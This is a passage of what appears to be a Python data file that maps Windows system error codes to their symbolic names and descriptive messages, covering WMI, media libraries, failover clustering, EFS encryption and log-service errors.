0x00000FDE: { "code": "PEERDIST_ERROR_VERSION_UNSUPPORTED", "message": "The requested version is not supported.", }, 0x00000FDF: { "code": "PEERDIST_ERROR_INVALID_CONFIGURATION", "message": "A configuration value is invalid.", }, 0x00000FE0: { "code": "PEERDIST_ERROR_NOT_LICENSED", "message": "The SKU is not licensed.", }, 0x00000FE1: { "code": "PEERDIST_ERROR_SERVICE_UNAVAILABLE", "message": ( "PeerDist Service is still initializing and will be available shortly." ), }, 0x00001004: { "code": "ERROR_DHCP_ADDRESS_CONFLICT", "message": ( "The Dynamic Host Configuration Protocol (DHCP) client has obtained an IP" " address that is already in use on the network. The local interface will" " be disabled until the DHCP client can obtain a new address." ), }, 0x00001068: { "code": "ERROR_WMI_GUID_NOT_FOUND", "message": ( "The GUID passed was not recognized as valid by a WMI data provider." ), }, 0x00001069: { "code": "ERROR_WMI_INSTANCE_NOT_FOUND", "message": ( "The instance name passed was not recognized as valid by a WMI data" " provider." ), }, 0x0000106A: { "code": "ERROR_WMI_ITEMID_NOT_FOUND", "message": ( "The data item ID passed was not recognized as valid by a WMI data" " provider." ), }, 0x0000106B: { "code": "ERROR_WMI_TRY_AGAIN", "message": "The WMI request could not be completed and should be retried.", }, 0x0000106C: { "code": "ERROR_WMI_DP_NOT_FOUND", "message": "The WMI data provider could not be located.", }, 0x0000106D: { "code": "ERROR_WMI_UNRESOLVED_INSTANCE_REF", "message": ( "The WMI data provider references an instance set that has not been" " registered." ), }, 0x0000106E: { "code": "ERROR_WMI_ALREADY_ENABLED", "message": "The WMI data block or event notification has already been enabled.", }, 0x0000106F: { "code": "ERROR_WMI_GUID_DISCONNECTED", "message": "The WMI data block is no longer available.", }, 0x00001070: { "code": "ERROR_WMI_SERVER_UNAVAILABLE", "message": "The WMI data service is not available.", }, 0x00001071: { "code": "ERROR_WMI_DP_FAILED", "message": "The WMI data provider failed to carry out the request.", }, 0x00001072: { "code": "ERROR_WMI_INVALID_MOF", "message": "The WMI Managed Object Format (MOF) information is not valid.", }, 0x00001073: { "code": "ERROR_WMI_INVALID_REGINFO", "message": "The WMI registration information is not valid.", }, 0x00001074: { "code": "ERROR_WMI_ALREADY_DISABLED", "message": ( "The WMI data block or event notification has already been disabled." ), }, 0x00001075: { "code": "ERROR_WMI_READ_ONLY", "message": "The WMI data item or data block is read-only.", }, 0x00001076: { "code": "ERROR_WMI_SET_FAILURE", "message": "The WMI data item or data block could not be changed.", }, 0x000010CC: { "code": "ERROR_INVALID_MEDIA", "message": "The media identifier does not represent a valid medium.", }, 0x000010CD: { "code": "ERROR_INVALID_LIBRARY", "message": "The library identifier does not represent a valid library.", }, 0x000010CE: { "code": "ERROR_INVALID_MEDIA_POOL", "message": "The media pool identifier does not represent a valid media pool.", }, 0x000010CF: { "code": "ERROR_DRIVE_MEDIA_MISMATCH", "message": ( "The drive and medium are not compatible, or they exist in different" " libraries." ), }, 0x000010D0: { "code": "ERROR_MEDIA_OFFLINE", "message": ( "The medium currently exists in an offline library and must be online to" " perform this operation." ), }, 0x000010D1: { "code": "ERROR_LIBRARY_OFFLINE", "message": "The operation cannot be performed on an offline library.", }, 0x000010D2: { "code": "ERROR_EMPTY", "message": "The library, drive, or media pool is empty.", }, 0x000010D3: { "code": "ERROR_NOT_EMPTY", "message": ( "The library, drive, or media pool must be empty to perform this operation." ), }, 0x000010D4: { "code": "ERROR_MEDIA_UNAVAILABLE", "message": "No media is currently available in this media pool or library.", }, 0x000010D5: { "code": "ERROR_RESOURCE_DISABLED", "message": "A resource required for this operation is disabled.", }, 0x000010D6: { "code": "ERROR_INVALID_CLEANER", "message": "The media identifier does not represent a valid cleaner.", }, 0x000010D7: { "code": "ERROR_UNABLE_TO_CLEAN", "message": "The drive cannot be cleaned or does not support cleaning.", }, 0x000010D8: { "code": "ERROR_OBJECT_NOT_FOUND", "message": "The object identifier does not represent a valid object.", }, 0x000010D9: { "code": "ERROR_DATABASE_FAILURE", "message": "Unable to read from or write to the database.", }, 0x000010DA: {"code": "ERROR_DATABASE_FULL", "message": "The database is full."}, 0x000010DB: { "code": "ERROR_MEDIA_INCOMPATIBLE", "message": "The medium is not compatible with the device or media pool.", }, 0x000010DC: { "code": "ERROR_RESOURCE_NOT_PRESENT", "message": "The resource required for this operation does not exist.", }, 0x000010DD: { "code": "ERROR_INVALID_OPERATION", "message": "The operation identifier is not valid.", }, 0x000010DE: { "code": "ERROR_MEDIA_NOT_AVAILABLE", "message": "The media is not mounted or ready for use.", }, 0x000010DF: { "code": "ERROR_DEVICE_NOT_AVAILABLE", "message": "The device is not ready for use.", }, 0x000010E0: { "code": "ERROR_REQUEST_REFUSED", "message": "The operator or administrator has refused the request.", }, 0x000010E1: { "code": "ERROR_INVALID_DRIVE_OBJECT", "message": "The drive identifier does not represent a valid drive.", }, 0x000010E2: { "code": "ERROR_LIBRARY_FULL", "message": "Library is full. No slot is available for use.", }, 0x000010E3: { "code": "ERROR_MEDIUM_NOT_ACCESSIBLE", "message": "The transport cannot access the medium.", }, 0x000010E4: { "code": "ERROR_UNABLE_TO_LOAD_MEDIUM", "message": "Unable to load the medium into the drive.", }, 0x000010E5: { "code": "ERROR_UNABLE_TO_INVENTORY_DRIVE", "message": "Unable to retrieve the drive status.", }, 0x000010E6: { "code": "ERROR_UNABLE_TO_INVENTORY_SLOT", "message": "Unable to retrieve the slot status.", }, 0x000010E7: { "code": "ERROR_UNABLE_TO_INVENTORY_TRANSPORT", "message": "Unable to retrieve status about the transport.", }, 0x000010E8: { "code": "ERROR_TRANSPORT_FULL", "message": "Cannot use the transport because it is already in use.", }, 0x000010E9: { "code": "ERROR_CONTROLLING_IEPORT", "message": "Unable to open or close the inject/eject port.", }, 0x000010EA: { "code": "ERROR_UNABLE_TO_EJECT_MOUNTED_MEDIA", "message": "Unable to eject the medium because it is in a drive.", }, 0x000010EB: { "code": "ERROR_CLEANER_SLOT_SET", "message": "A cleaner slot is already reserved.", }, 0x000010EC: { "code": "ERROR_CLEANER_SLOT_NOT_SET", "message": "A cleaner slot is not reserved.", }, 0x000010ED: { "code": "ERROR_CLEANER_CARTRIDGE_SPENT", "message": ( "The cleaner cartridge has performed the maximum number of drive cleanings." ), }, 0x000010EE: { "code": "ERROR_UNEXPECTED_OMID", "message": "Unexpected on-medium identifier.", }, 0x000010EF: { "code": "ERROR_CANT_DELETE_LAST_ITEM", "message": ( "The last remaining item in this group or resource cannot be deleted." ), }, 0x000010F0: { "code": "ERROR_MESSAGE_EXCEEDS_MAX_SIZE", "message": ( "The message provided exceeds the maximum size allowed for this parameter." ), }, 0x000010F1: { "code": "ERROR_VOLUME_CONTAINS_SYS_FILES", "message": "The volume contains system or paging files.", }, 0x000010F2: { "code": "ERROR_INDIGENOUS_TYPE", "message": ( "The media type cannot be removed from this library because at least one" " drive in the library reports it can support this media type." ), }, 0x000010F3: { "code": "ERROR_NO_SUPPORTING_DRIVES", "message": ( "This offline media cannot be mounted on this system because no enabled" " drives are present that can be used." ), }, 0x000010F4: { "code": "ERROR_CLEANER_CARTRIDGE_INSTALLED", "message": "A cleaner cartridge is present in the tape library.", }, 0x000010F5: { "code": "ERROR_IEPORT_FULL", "message": "Cannot use the IEport because it is not empty.", }, 0x000010FE: { "code": "ERROR_FILE_OFFLINE", "message": "The remote storage service was not able to recall the file.", }, 0x000010FF: { "code": "ERROR_REMOTE_STORAGE_NOT_ACTIVE", "message": "The remote storage service is not operational at this time.", }, 0x00001100: { "code": "ERROR_REMOTE_STORAGE_MEDIA_ERROR", "message": "The remote storage service encountered a media error.", }, 0x00001126: { "code": "ERROR_NOT_A_REPARSE_POINT", "message": "The file or directory is not a reparse point.", }, 0x00001127: { "code": "ERROR_REPARSE_ATTRIBUTE_CONFLICT", "message": ( "The reparse point attribute cannot be set because it conflicts with an" " existing attribute." ), }, 0x00001128: { "code": "ERROR_INVALID_REPARSE_DATA", "message": "The data present in the reparse point buffer is invalid.", }, 0x00001129: { "code": "ERROR_REPARSE_TAG_INVALID", "message": "The tag present in the reparse point buffer is invalid.", }, 0x0000112A: { "code": "ERROR_REPARSE_TAG_MISMATCH", "message": ( "There is a mismatch between the tag specified in the request and the tag" " present in the reparse point." ), }, 0x00001194: { "code": "ERROR_VOLUME_NOT_SIS_ENABLED", "message": "Single Instance Storage (SIS) is not available on this volume.", }, 0x00001389: { "code": "ERROR_DEPENDENT_RESOURCE_EXISTS", "message": ( "The operation cannot be completed because other resources depend on this" " resource." ), }, 0x0000138A: { "code": "ERROR_DEPENDENCY_NOT_FOUND", "message": "The cluster resource dependency cannot be found.", }, 0x0000138B: { "code": "ERROR_DEPENDENCY_ALREADY_EXISTS", "message": ( "The cluster resource cannot be made dependent on the specified resource" " because it is already dependent." ), }, 0x0000138C: { "code": "ERROR_RESOURCE_NOT_ONLINE", "message": "The cluster resource is not online.", }, 0x0000138D: { "code": "ERROR_HOST_NODE_NOT_AVAILABLE", "message": "A cluster node is not available for this operation.", }, 0x0000138E: { "code": "ERROR_RESOURCE_NOT_AVAILABLE", "message": "The cluster resource is not available.", }, 0x0000138F: { "code": "ERROR_RESOURCE_NOT_FOUND", "message": "The cluster resource could not be found.", }, 0x00001390: { "code": "ERROR_SHUTDOWN_CLUSTER", "message": "The cluster is being shut down.", }, 0x00001391: { "code": "ERROR_CANT_EVICT_ACTIVE_NODE", "message": ( "A cluster node cannot be evicted from the cluster unless the node is down" " or it is the last node." ), }, 0x00001392: { "code": "ERROR_OBJECT_ALREADY_EXISTS", "message": "The object already exists.", }, 0x00001393: { "code": "ERROR_OBJECT_IN_LIST", "message": "The object is already in the list.", }, 0x00001394: { "code": "ERROR_GROUP_NOT_AVAILABLE", "message": "The cluster group is not available for any new requests.", }, 0x00001395: { "code": "ERROR_GROUP_NOT_FOUND", "message": "The cluster group could not be found.", }, 0x00001396: { "code": "ERROR_GROUP_NOT_ONLINE", "message": ( "The operation could not be completed because the cluster group is not" " online." ), }, 0x00001397: { "code": "ERROR_HOST_NODE_NOT_RESOURCE_OWNER", "message": ( "The operation failed because either the specified cluster node is not the" " owner of the resource, or the node is not a possible owner of the" " resource." ), }, 0x00001398: { "code": "ERROR_HOST_NODE_NOT_GROUP_OWNER", "message": ( "The operation failed because either the specified cluster node is not the" " owner of the group, or the node is not a possible owner of the group." ), }, 0x00001399: { "code": "ERROR_RESMON_CREATE_FAILED", "message": ( "The cluster resource could not be created in the specified resource" " monitor." ), }, 0x0000139A: { "code": "ERROR_RESMON_ONLINE_FAILED", "message": ( "The cluster resource could not be brought online by the resource monitor." ), }, 0x0000139B: { "code": "ERROR_RESOURCE_ONLINE", "message": ( "The operation could not be completed because the cluster resource is" " online." ), }, 0x0000139C: { "code": "ERROR_QUORUM_RESOURCE", "message": ( "The cluster resource could not be deleted or brought offline because it is" " the quorum resource." ), }, 0x0000139D: { "code": "ERROR_NOT_QUORUM_CAPABLE", "message": ( "The cluster could not make the specified resource a quorum resource" " because it is not capable of being a quorum resource." ), }, 0x0000139E: { "code": "ERROR_CLUSTER_SHUTTING_DOWN", "message": "The cluster software is shutting down.", }, 0x0000139F: { "code": "ERROR_INVALID_STATE", "message": ( "The group or resource is not in the correct state to perform the requested" " operation." ), }, 0x000013A0: { "code": "ERROR_RESOURCE_PROPERTIES_STORED", "message": ( "The properties were stored but not all changes will take effect until the" " next time the resource is brought online." ), }, 0x000013A1: { "code": "ERROR_NOT_QUORUM_CLASS", "message": ( "The cluster could not make the specified resource a quorum resource" " because it does not belong to a shared storage class." ), }, 0x000013A2: { "code": "ERROR_CORE_RESOURCE", "message": ( "The cluster resource could not be deleted because it is a core resource." ), }, 0x000013A3: { "code": "ERROR_QUORUM_RESOURCE_ONLINE_FAILED", "message": "The quorum resource failed to come online.", }, 0x000013A4: { "code": "ERROR_QUORUMLOG_OPEN_FAILED", "message": "The quorum log could not be created or mounted successfully.", }, 0x000013A5: { "code": "ERROR_CLUSTERLOG_CORRUPT", "message": "The cluster log is corrupt.", }, 0x000013A6: { "code": "ERROR_CLUSTERLOG_RECORD_EXCEEDS_MAXSIZE", "message": ( "The record could not be written to the cluster log because it exceeds the" " maximum size." ), }, 0x000013A7: { "code": "ERROR_CLUSTERLOG_EXCEEDS_MAXSIZE", "message": "The cluster log exceeds its maximum size.", }, 0x000013A8: { "code": "ERROR_CLUSTERLOG_CHKPOINT_NOT_FOUND", "message": "No checkpoint record was found in the cluster log.", }, 0x000013A9: { "code": "ERROR_CLUSTERLOG_NOT_ENOUGH_SPACE", "message": ( "The minimum required disk space needed for logging is not available." ), }, 0x000013AA: { "code": "ERROR_QUORUM_OWNER_ALIVE", "message": ( "The cluster node failed to take control of the quorum resource because the" " resource is owned by another active node." ), }, 0x000013AB: { "code": "ERROR_NETWORK_NOT_AVAILABLE", "message": "A cluster network is not available for this operation.", }, 0x000013AC: { "code": "ERROR_NODE_NOT_AVAILABLE", "message": "A cluster node is not available for this operation.", }, 0x000013AD: { "code": "ERROR_ALL_NODES_NOT_AVAILABLE", "message": "All cluster nodes must be running to perform this operation.", }, 0x000013AE: { "code": "ERROR_RESOURCE_FAILED", "message": "A cluster resource failed.", }, 0x000013AF: { "code": "ERROR_CLUSTER_INVALID_NODE", "message": "The cluster node is not valid.", }, 0x000013B0: { "code": "ERROR_CLUSTER_NODE_EXISTS", "message": "The cluster node already exists.", }, 0x000013B1: { "code": "ERROR_CLUSTER_JOIN_IN_PROGRESS", "message": "A node is in the process of joining the cluster.", }, 0x000013B2: { "code": "ERROR_CLUSTER_NODE_NOT_FOUND", "message": "The cluster node was not found.", }, 0x000013B3: { "code": "ERROR_CLUSTER_LOCAL_NODE_NOT_FOUND", "message": "The cluster local node information was not found.", }, 0x000013B4: { "code": "ERROR_CLUSTER_NETWORK_EXISTS", "message": "The cluster network already exists.", }, 0x000013B5: { "code": "ERROR_CLUSTER_NETWORK_NOT_FOUND", "message": "The cluster network was not found.", }, 0x000013B6: { "code": "ERROR_CLUSTER_NETINTERFACE_EXISTS", "message": "The cluster network interface already exists.", }, 0x000013B7: { "code": "ERROR_CLUSTER_NETINTERFACE_NOT_FOUND", "message": "The cluster network interface was not found.", }, 0x000013B8: { "code": "ERROR_CLUSTER_INVALID_REQUEST", "message": "The cluster request is not valid for this object.", }, 0x000013B9: { "code": "ERROR_CLUSTER_INVALID_NETWORK_PROVIDER", "message": "The cluster network provider is not valid.", }, 0x000013BA: { "code": "ERROR_CLUSTER_NODE_DOWN", "message": "The cluster node is down.", }, 0x000013BB: { "code": "ERROR_CLUSTER_NODE_UNREACHABLE", "message": "The cluster node is not reachable.", }, 0x000013BC: { "code": "ERROR_CLUSTER_NODE_NOT_MEMBER", "message": "The cluster node is not a member of the cluster.", }, 0x000013BD: { "code": "ERROR_CLUSTER_JOIN_NOT_IN_PROGRESS", "message": "A cluster join operation is not in progress.", }, 0x000013BE: { "code": "ERROR_CLUSTER_INVALID_NETWORK", "message": "The cluster network is not valid.", }, 0x000013C0: {"code": "ERROR_CLUSTER_NODE_UP", "message": "The cluster node is up."}, 0x000013C1: { "code": "ERROR_CLUSTER_IPADDR_IN_USE", "message": "The cluster IP address is already in use.", }, 0x000013C2: { "code": "ERROR_CLUSTER_NODE_NOT_PAUSED", "message": "The cluster node is not paused.", }, 0x000013C3: { "code": "ERROR_CLUSTER_NO_SECURITY_CONTEXT", "message": "No cluster security context is available.", }, 0x000013C4: { "code": "ERROR_CLUSTER_NETWORK_NOT_INTERNAL", "message": ( "The cluster network is not configured for internal cluster communication." ), }, 0x000013C5: { "code": "ERROR_CLUSTER_NODE_ALREADY_UP", "message": "The cluster node is already up.", }, 0x000013C6: { "code": "ERROR_CLUSTER_NODE_ALREADY_DOWN", "message": "The cluster node is already down.", }, 0x000013C7: { "code": "ERROR_CLUSTER_NETWORK_ALREADY_ONLINE", "message": "The cluster network is already online.", }, 0x000013C8: { "code": "ERROR_CLUSTER_NETWORK_ALREADY_OFFLINE", "message": "The cluster network is already offline.", }, 0x000013C9: { "code": "ERROR_CLUSTER_NODE_ALREADY_MEMBER", "message": "The cluster node is already a member of the cluster.", }, 0x000013CA: { "code": "ERROR_CLUSTER_LAST_INTERNAL_NETWORK", "message": ( "The cluster network is the only one configured for internal cluster" " communication between two or more active cluster nodes. The internal" " communication capability cannot be removed from the network." ), }, 0x000013CB: { "code": "ERROR_CLUSTER_NETWORK_HAS_DEPENDENTS", "message": ( "One or more cluster resources depend on the network to provide service to" " clients. The client access capability cannot be removed from the network." ), }, 0x000013CC: { "code": "ERROR_INVALID_OPERATION_ON_QUORUM", "message": ( "This operation cannot be performed on the cluster resource because it is" " the quorum resource. This quorum resource cannot be brought offline and" " its possible owners list cannot be modified." ), }, 0x000013CD: { "code": "ERROR_DEPENDENCY_NOT_ALLOWED", "message": ( "The cluster quorum resource is not allowed to have any dependencies." ), }, 0x000013CE: { "code": "ERROR_CLUSTER_NODE_PAUSED", "message": "The cluster node is paused.", }, 0x000013CF: { "code": "ERROR_NODE_CANT_HOST_RESOURCE", "message": ( "The cluster resource cannot be brought online. The owner node cannot run" " this resource." ), }, 0x000013D0: { "code": "ERROR_CLUSTER_NODE_NOT_READY", "message": "The cluster node is not ready to perform the requested operation.", }, 0x000013D1: { "code": "ERROR_CLUSTER_NODE_SHUTTING_DOWN", "message": "The cluster node is shutting down.", }, 0x000013D2: { "code": "ERROR_CLUSTER_JOIN_ABORTED", "message": "The cluster join operation was aborted.", }, 0x000013D3: { "code": "ERROR_CLUSTER_INCOMPATIBLE_VERSIONS", "message": ( "The cluster join operation failed due to incompatible software versions" " between the joining node and its sponsor." ), }, 0x000013D4: { "code": "ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED", "message": ( "This resource cannot be created because the cluster has reached the limit" " on the number of resources it can monitor." ), }, 0x000013D5: { "code": "ERROR_CLUSTER_SYSTEM_CONFIG_CHANGED", "message": ( "The system configuration changed during the cluster join or form" " operation. The join or form operation was aborted." ), }, 0x000013D6: { "code": "ERROR_CLUSTER_RESOURCE_TYPE_NOT_FOUND", "message": "The specified resource type was not found.", }, 0x000013D7: { "code": "ERROR_CLUSTER_RESTYPE_NOT_SUPPORTED", "message": ( "The specified node does not support a resource of this type. This might be" " due to version inconsistencies or due to the absence of the resource DLL" " on this node." ), }, 0x000013D8: { "code": "ERROR_CLUSTER_RESNAME_NOT_FOUND", "message": ( "The specified resource name is not supported by this resource DLL. This" " might be due to a bad (or changed) name supplied to the resource DLL." ), }, 0x000013D9: { "code": "ERROR_CLUSTER_NO_RPC_PACKAGES_REGISTERED", "message": "No authentication package could be registered with the RPC server.", }, 0x000013DA: { "code": "ERROR_CLUSTER_OWNER_NOT_IN_PREFLIST", "message": ( "You cannot bring the group online because the owner of the group is not in" " the preferred list for the group. To change the owner node for the group," " move the group." ), }, 0x000013DB: { "code": "ERROR_CLUSTER_DATABASE_SEQMISMATCH", "message": ( "The join operation failed because the cluster database sequence number has" " changed or is incompatible with the locker node. This can happen during a" " join operation if the cluster database was changing during the join." ), }, 0x000013DC: { "code": "ERROR_RESMON_INVALID_STATE", "message": ( "The resource monitor will not allow the fail operation to be performed" " while the resource is in its current state. This can happen if the" " resource is in a pending state." ), }, 0x000013DD: { "code": "ERROR_CLUSTER_GUM_NOT_LOCKER", "message": ( "A non-locker code received a request to reserve the lock for making global" " updates." ), }, 0x000013DE: { "code": "ERROR_QUORUM_DISK_NOT_FOUND", "message": "The quorum disk could not be located by the cluster service.", }, 0x000013DF: { "code": "ERROR_DATABASE_BACKUP_CORRUPT", "message": "The backed-up cluster database is possibly corrupt.", }, 0x000013E0: { "code": "ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT", "message": "A DFS root already exists in this cluster node.", }, 0x000013E1: { "code": "ERROR_RESOURCE_PROPERTY_UNCHANGEABLE", "message": ( "An attempt to modify a resource property failed because it conflicts with" " another existing property." ), }, 0x00001702: { "code": "ERROR_CLUSTER_MEMBERSHIP_INVALID_STATE", "message": ( "An operation was attempted that is incompatible with the current" " membership state of the node." ), }, 0x00001703: { "code": "ERROR_CLUSTER_QUORUMLOG_NOT_FOUND", "message": "The quorum resource does not contain the quorum log.", }, 0x00001704: { "code": "ERROR_CLUSTER_MEMBERSHIP_HALT", "message": ( "The membership engine requested shutdown of the cluster service on this" " node." ), }, 0x00001705: { "code": "ERROR_CLUSTER_INSTANCE_ID_MISMATCH", "message": ( "The join operation failed because the cluster instance ID of the joining" " node does not match the cluster instance ID of the sponsor node." ), }, 0x00001706: { "code": "ERROR_CLUSTER_NETWORK_NOT_FOUND_FOR_IP", "message": ( "A matching cluster network for the specified IP address could not be" " found." ), }, 0x00001707: { "code": "ERROR_CLUSTER_PROPERTY_DATA_TYPE_MISMATCH", "message": ( "The actual data type of the property did not match the expected data type" " of the property." ), }, 0x00001708: { "code": "ERROR_CLUSTER_EVICT_WITHOUT_CLEANUP", "message": ( "The cluster node was evicted from the cluster successfully, but the node" " was not cleaned up. To determine what clean-up steps failed and how to" " recover, see the Failover Clustering application event log using Event" " Viewer." ), }, 0x00001709: { "code": "ERROR_CLUSTER_PARAMETER_MISMATCH", "message": ( "Two or more parameter values specified for a resource's properties are in" " conflict." ), }, 0x0000170A: { "code": "ERROR_NODE_CANNOT_BE_CLUSTERED", "message": "This computer cannot be made a member of a cluster.", }, 0x0000170B: { "code": "ERROR_CLUSTER_WRONG_OS_VERSION", "message": ( "This computer cannot be made a member of a cluster because it does not" " have the correct version of Windows installed." ), }, 0x0000170C: { "code": "ERROR_CLUSTER_CANT_CREATE_DUP_CLUSTER_NAME", "message": ( "A cluster cannot be created with the specified cluster name because that" " cluster name is already in use. Specify a different name for the cluster." ), }, 0x0000170D: { "code": "ERROR_CLUSCFG_ALREADY_COMMITTED", "message": "The cluster configuration action has already been committed.", }, 0x0000170E: { "code": "ERROR_CLUSCFG_ROLLBACK_FAILED", "message": "The cluster configuration action could not be rolled back.", }, 0x0000170F: { "code": "ERROR_CLUSCFG_SYSTEM_DISK_DRIVE_LETTER_CONFLICT", "message": ( "The drive letter assigned to a system disk on one node conflicted with the" " drive letter assigned to a disk on another node." ), }, 0x00001710: { "code": "ERROR_CLUSTER_OLD_VERSION", "message": ( "One or more nodes in the cluster are running a version of Windows that" " does not support this operation." ), }, 0x00001711: { "code": "ERROR_CLUSTER_MISMATCHED_COMPUTER_ACCT_NAME", "message": ( "The name of the corresponding computer account does not match the network" " name for this resource." ), }, 0x00001712: { "code": "ERROR_CLUSTER_NO_NET_ADAPTERS", "message": "No network adapters are available.", }, 0x00001713: { "code": "ERROR_CLUSTER_POISONED", "message": "The cluster node has been poisoned.", }, 0x00001714: { "code": "ERROR_CLUSTER_GROUP_MOVING", "message": ( "The group is unable to accept the request because it is moving to another" " node." ), }, 0x00001715: { "code": "ERROR_CLUSTER_RESOURCE_TYPE_BUSY", "message": ( "The resource type cannot accept the request because it is too busy" " performing another operation." ), }, 0x00001716: { "code": "ERROR_RESOURCE_CALL_TIMED_OUT", "message": "The call to the cluster resource DLL timed out.", }, 0x00001717: { "code": "ERROR_INVALID_CLUSTER_IPV6_ADDRESS", "message": ( "The address is not valid for an IPv6 Address resource. A global IPv6" " address is required, and it must match a cluster network. Compatibility" " addresses are not permitted." ), }, 0x00001718: { "code": "ERROR_CLUSTER_INTERNAL_INVALID_FUNCTION", "message": ( "An internal cluster error occurred. A call to an invalid function was" " attempted." ), }, 0x00001719: { "code": "ERROR_CLUSTER_PARAMETER_OUT_OF_BOUNDS", "message": "A parameter value is out of acceptable range.", }, 0x0000171A: { "code": "ERROR_CLUSTER_PARTIAL_SEND", "message": ( "A network error occurred while sending data to another node in the" " cluster. The number of bytes transmitted was less than required." ), }, 0x0000171B: { "code": "ERROR_CLUSTER_REGISTRY_INVALID_FUNCTION", "message": "An invalid cluster registry operation was attempted.", }, 0x0000171C: { "code": "ERROR_CLUSTER_INVALID_STRING_TERMINATION", "message": "An input string of characters is not properly terminated.", }, 0x0000171D: { "code": "ERROR_CLUSTER_INVALID_STRING_FORMAT", "message": ( "An input string of characters is not in a valid format for the data it" " represents." ), }, 0x0000171E: { "code": "ERROR_CLUSTER_DATABASE_TRANSACTION_IN_PROGRESS", "message": ( "An internal cluster error occurred. A cluster database transaction was" " attempted while a transaction was already in progress." ), }, 0x0000171F: { "code": "ERROR_CLUSTER_DATABASE_TRANSACTION_NOT_IN_PROGRESS", "message": ( "An internal cluster error occurred. There was an attempt to commit a" " cluster database transaction while no transaction was in progress." ), }, 0x00001720: { "code": "ERROR_CLUSTER_NULL_DATA", "message": ( "An internal cluster error occurred. Data was not properly initialized." ), }, 0x00001721: { "code": "ERROR_CLUSTER_PARTIAL_READ", "message": ( "An error occurred while reading from a stream of data. An unexpected" " number of bytes was returned." ), }, 0x00001722: { "code": "ERROR_CLUSTER_PARTIAL_WRITE", "message": ( "An error occurred while writing to a stream of data. The required number" " of bytes could not be written." ), }, 0x00001723: { "code": "ERROR_CLUSTER_CANT_DESERIALIZE_DATA", "message": "An error occurred while deserializing a stream of cluster data.", }, 0x00001724: { "code": "ERROR_DEPENDENT_RESOURCE_PROPERTY_CONFLICT", "message": ( "One or more property values for this resource are in conflict with one or" " more property values associated with its dependent resources." ), }, 0x00001725: { "code": "ERROR_CLUSTER_NO_QUORUM", "message": "A quorum of cluster nodes was not present to form a cluster.", }, 0x00001726: { "code": "ERROR_CLUSTER_INVALID_IPV6_NETWORK", "message": ( "The cluster network is not valid for an IPv6 address resource, or it does" " not match the configured address." ), }, 0x00001727: { "code": "ERROR_CLUSTER_INVALID_IPV6_TUNNEL_NETWORK", "message": ( "The cluster network is not valid for an IPv6 tunnel resource. Check the" " configuration of the IP Address resource on which the IPv6 tunnel" " resource depends." ), }, 0x00001728: { "code": "ERROR_QUORUM_NOT_ALLOWED_IN_THIS_GROUP", "message": "Quorum resource cannot reside in the available storage group.", }, 0x00001770: { "code": "ERROR_ENCRYPTION_FAILED", "message": "The specified file could not be encrypted.", }, 0x00001771: { "code": "ERROR_DECRYPTION_FAILED", "message": "The specified file could not be decrypted.", }, 0x00001772: { "code": "ERROR_FILE_ENCRYPTED", "message": ( "The specified file is encrypted and the user does not have the ability to" " decrypt it." ), }, 0x00001773: { "code": "ERROR_NO_RECOVERY_POLICY", "message": ( "There is no valid encryption recovery policy configured for this system." ), }, 0x00001774: { "code": "ERROR_NO_EFS", "message": "The required encryption driver is not loaded for this system.", }, 0x00001775: { "code": "ERROR_WRONG_EFS", "message": ( "The file was encrypted with a different encryption driver than is" " currently loaded." ), }, 0x00001776: { "code": "ERROR_NO_USER_KEYS", "message": ( "There are no Encrypting File System (EFS) keys defined for the user." ), }, 0x00001777: { "code": "ERROR_FILE_NOT_ENCRYPTED", "message": "The specified file is not encrypted.", }, 0x00001778: { "code": "ERROR_NOT_EXPORT_FORMAT", "message": "The specified file is not in the defined EFS export format.", }, 0x00001779: { "code": "ERROR_FILE_READ_ONLY", "message": "The specified file is read-only.", }, 0x0000177A: { "code": "ERROR_DIR_EFS_DISALLOWED", "message": "The directory has been disabled for encryption.", }, 0x0000177B: { "code": "ERROR_EFS_SERVER_NOT_TRUSTED", "message": "The server is not trusted for remote encryption operation.", }, 0x0000177C: { "code": "ERROR_BAD_RECOVERY_POLICY", "message": ( "Recovery policy configured for this system contains invalid recovery" " certificate." ), }, 0x0000177D: { "code": "ERROR_EFS_ALG_BLOB_TOO_BIG", "message": ( "The encryption algorithm used on the source file needs a bigger key buffer" " than the one on the destination file." ), }, 0x0000177E: { "code": "ERROR_VOLUME_NOT_SUPPORT_EFS", "message": "The disk partition does not support file encryption.", }, 0x0000177F: { "code": "ERROR_EFS_DISABLED", "message": "This machine is disabled for file encryption.", }, 0x00001780: { "code": "ERROR_EFS_VERSION_NOT_SUPPORT", "message": "A newer system is required to decrypt this encrypted file.", }, 0x00001781: { "code": "ERROR_CS_ENCRYPTION_INVALID_SERVER_RESPONSE", "message": ( "The remote server sent an invalid response for a file being opened with" " client-side encryption." ), }, 0x00001782: { "code": "ERROR_CS_ENCRYPTION_UNSUPPORTED_SERVER", "message": ( "Client-side encryption is not supported by the remote server even though" " it claims to support it." ), }, 0x00001783: { "code": "ERROR_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE", "message": ( "File is encrypted and should be opened in client-side encryption mode." ), }, 0x00001784: { "code": "ERROR_CS_ENCRYPTION_NEW_ENCRYPTED_FILE", "message": ( "A new encrypted file is being created and a $EFS needs to be provided." ), }, 0x00001785: { "code": "ERROR_CS_ENCRYPTION_FILE_NOT_CSE", "message": ( "The SMB client requested a client-side extension (CSE) file system control" " (FSCTL) on a non-CSE file." ), }, 0x000017E6: { "code": "ERROR_NO_BROWSER_SERVERS_FOUND", "message": "The list of servers for this workgroup is not currently available", }, 0x00001838: { "code": "SCHED_E_SERVICE_NOT_LOCALSYSTEM", "message": ( "The Task Scheduler service must be configured to run in the System account" " to function properly. Individual tasks can be configured to run in other" " accounts." ), }, 0x000019C8: { "code": "ERROR_LOG_SECTOR_INVALID", "message": "The log service encountered an invalid log sector.", }, 0x000019C9: { "code": "ERROR_LOG_SECTOR_PARITY_INVALID", "message": ( "The log service encountered a log sector with invalid block parity." ), }, 0x000019CA: { "code": "ERROR_LOG_SECTOR_REMAPPED", "message": "The log service encountered a remapped log sector.", }, 0x000019CB: { "code": "ERROR_LOG_BLOCK_INCOMPLETE", "message": "The log service encountered a partial or incomplete log block.", }, 0x000019CC: { "code": "ERROR_LOG_INVALID_RANGE", "message": ( "The log service encountered an attempt to access data outside the active" " log range." ), }, 0x000019CD: { "code": "ERROR_LOG_BLOCKS_EXHAUSTED", "message": "The log service user marshaling buffers are exhausted.", }, 0x000019CE: { "code": "ERROR_LOG_READ_CONTEXT_INVALID", "message": ( "The log service encountered an attempt to read from a 